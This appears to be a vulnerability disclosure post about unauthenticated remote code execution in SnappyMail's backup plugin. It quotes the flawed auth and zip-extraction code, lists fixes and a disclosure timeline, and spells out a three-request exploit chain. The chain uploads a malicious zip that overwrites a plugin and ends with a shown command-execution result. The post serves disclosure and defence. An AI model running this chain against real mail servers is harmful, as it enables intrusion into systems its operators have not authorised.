snappymail: unauthenticated rce via the backup plugin
tl;dr: snappymail webmail with the bundled backup plugin enabled allows unauthenticated remote code execution as the web server user. reported to the vendor 90+ days ago; publishing now per standard disclosure timelines.
affected: every snappymail release since 2.30.0. the backup plugin’s restore function has lacked the admin login check since it was added in commit c1017499e4 (2023-11-28), first shipped in the 2.30.0 tag (2023-12-04). confirmed on 2.38.2 and git master at commit c154d23.
precondition: backup plugin installed and enabled. not on by default, but shipped as a stock plugin.
bug 1: admin auth check is prefix-based
// ServiceActions.php:116
if ($this->oActions instanceof ActionsAdmin
&& 0 === \stripos($sAction, 'Admin')
&& !\in_array($sAction, ['AdminLogin', 'AdminLogout'])
) {
$this->oActions->IsAdminLoggined();
}
auth is only enforced if the action name starts with Admin, not if it contains Admin. plugin hooks are dispatched as Plugin<HookName>, so an admin hook like JsonAdminRestoreData becomes PluginJsonAdminRestoreData and skips the check. any plugin action relying on this central gate instead of its own auth check is affected the same way, not just the backup plugin. root cause: CWE-306 (missing authentication for critical function).
bug 2: csrf token endpoint has no auth
// ServiceActions.php:505
public function ServiceAdminAppData() : string
{
return $this->localAppData(true); // no IsAdminLoggined() here
}
GET /?admin/AppData returns a valid XToken with no login required. the token itself still works as csrf protection. the bug is that it’s issued without an authenticated session and then treated as the only gate in front of a privileged action.
bug 3: plugin checks routing, not authentication
// plugins/backup/index.php:74
if (!($this->Manager()->Actions() instanceof \RainLoop\ActionsAdmin)
|| empty($_FILES['backup'])
|| ...
) {
return $this->jsonResponse(__FUNCTION__, false);
}
instanceof ActionsAdmin is true for any request to /?admin/..., authenticated or not. the backup export function above this one calls IsAdminLoggined(); the restore function does not.
bug 4: zip extraction with no path/content checks
// plugins/backup/index.php:83
$oArchive = new \ZipArchive();
$oArchive->open($_FILES['backup']['tmp_name'], \ZipArchive::CREATE);
$result = $oArchive->extractTo(APP_PRIVATE_DATA);
no entry allowlist and no check against overwriting existing files. no path traversal needed either: plugins/backup/index.php already lies inside APP_PRIVATE_DATA. the mime-type check reads the client-supplied $_FILES[...]['type'], which is attacker-controlled. the overwritten file is loaded as an enabled plugin on the next request, making the injected code reachable through the same json dispatcher.
exploit chain
three unauthenticated http requests:
1. GET /?admin/AppData
→ valid XToken, no auth required
2. POST /?admin/Json
Action=PluginJsonAdminRestoreData
XToken=<token from step 1>
[file: evil.zip containing plugins/backup/index.php as a plugin exposing a command-execution hook]
→ bug 1: auth check skipped (action doesn't start with "Admin")
→ bug 3: plugin's own check only verifies admin routing context, not login
→ bug 4: archive overwrites the active Backup plugin, no path traversal needed
3. POST /?admin/Json
Action=PluginJsonEvilShell
cmd=id
→ { "output": "uid=82(www-data) gid=82(www-data) groups=82(www-data)" }
timeline
- 2026-04-26: found and confirmed on a local docker lab
- 2026-04-27: reported to
security@snappymail.eu, pgp encrypted - 2026-07-16: unencrypted follow-up sent, no reply to the original report
- 2026-07-26: 90-day disclosure deadline passes, still nothing
- 2026-08-02: this post, plus a cve id request filed with mitre
fixes
- add
IsAdminLoggined()toJsonAdminRestoreData()in the backup plugin - validate zip entries before extraction: reject
.., reject absolute paths, allowlist expected top-level dirs - check uploaded file mime type with
finfo, not the client-supplied header - don’t prefix-match action names for admin-only auth gating
if you run snappymail with the backup plugin enabled: disable it until patched, or restrict admin panel access.